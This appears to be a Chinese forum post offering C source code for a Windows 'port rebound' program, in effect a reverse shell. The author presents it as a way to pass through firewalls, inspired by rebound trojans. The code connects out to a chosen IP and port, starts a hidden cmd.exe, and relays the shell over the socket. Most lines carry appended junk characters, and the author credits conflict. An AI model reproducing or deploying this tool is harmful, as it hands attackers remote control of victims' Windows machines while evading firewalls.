Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 *h:D|4oJ(  
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/* ============================== {hM"TO7\  
Rebound port in Windows NT ;*nh=w  
By wind,2006/7 8-A:k E  
===============================*/ aDN.gMS  
#include 1z3]PA!R  
#include \FVNXUMU  

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#pragma comment(lib,"wsock32.lib") u |'8a1  
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void OutputShell(); ma1(EJ/  
SOCKET sClient; #s*k| j}  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; }iMXXXBOT  
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void main(int argc,char **argv) xUIvLH=  
{ gt~9"I  
WSADATA stWsaData; e
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int nRet; @`5QG2  
SOCKADDR_IN stSaiClient,stSaiServer; |^?`Q.|c$  
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if(argc != 3) Qg[heND  
{ b$dBV}0 L  
printf("Useage:\n\rRebound DestIP DestPort\n"); 8>ESD}(  
return; >B`Cch/'U  
} t?KUK>>w  
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WSAStartup(MAKEWORD(2,2),&stWsaData); -Sx0qi'%  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); o T:j:n  
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stSaiClient.sin_family = AF_INET; z/)$D  
stSaiClient.sin_port = htons(0); tc"T}huypU  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); )ni"qv~J  

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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) DQ%`v=  
{ c!.=%QY
 
printf("Bind Socket Failed!\n"); K4_~ruhr  
return; N`f!D>b:dn  
} c$.
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stSaiServer.sin_family = AF_INET; SwyaYK  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); EK^JLvyT  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); s;anP0-O  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) =sxkrih  
{ J0&zb'1  
printf("Connect Error!"); /g13X,.H  
return; n'q aR<bY  
} $I\))*a  
OutputShell(); d:A\<F  
} ^g}L`9fL  
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void OutputShell() jMTRcj];(  
{ W&HF?w}s  
char szBuff[1024]; 8b-
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SECURITY_ATTRIBUTES stSecurityAttributes; T:be 9 5!,  
OSVERSIONINFO stOsversionInfo; x6"/z  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 1aBD^^Y  
STARTUPINFO stStartupInfo; GVeL~Q  
char *szShell;
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PROCESS_INFORMATION stProcessInformation; zB;'
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unsigned long lBytesRead; ]^Sd9ba  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 0Ulxp  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); @m5O{[euj<  
stSecurityAttributes.lpSecurityDescriptor = 0; (}9cD^F0n  
stSecurityAttributes.bInheritHandle = TRUE; $$k7_rs  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); s[Y)d>~\$=  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); mYntU^4f  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); -b
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \El|U#$u'  
stStartupInfo.wShowWindow = SW_HIDE; YI L'YNH  
stStartupInfo.hStdInput = hReadPipe; <sm#D"GpP  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; $5ZR[\$  
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GetVersionEx(&stOsversionInfo); <l*agH-.3  
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switch(stOsversionInfo.dwPlatformId) s;vWR^Ll  
{ 7bctx_W&6  
case 1:
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szShell = "command.com"; d-9uv|SJ  
break; }9{dR4hD  
default: hfJrQhmE  
szShell = "cmd.exe"; b\kN_  
break; `Af{H/qiI  
} D."cQ<sxpN  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 9yh9HE  
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send(sClient,szMsg,77,0); (J6"
;  
while(1) }rO?5  
{ yTzY?  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); q>Q:X3  
if(lBytesRead) k\sc }z8X  
{ $KoPGgC[  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); lc\>DH\n6  
send(sClient,szBuff,lBytesRead,0); |^YzFrc  
} C!oS=qK?]  
else .}IK}A/-  
{ >+yqjXRzm  
lBytesRead=recv(sClient,szBuff,1024,0); F% F c+?  
if(lBytesRead<=0) break; Fg_?!zR>6  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); K<$wz/\  
} aO~si=  
} L~@ma(TV{K  
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return; Xjs21-t%  
}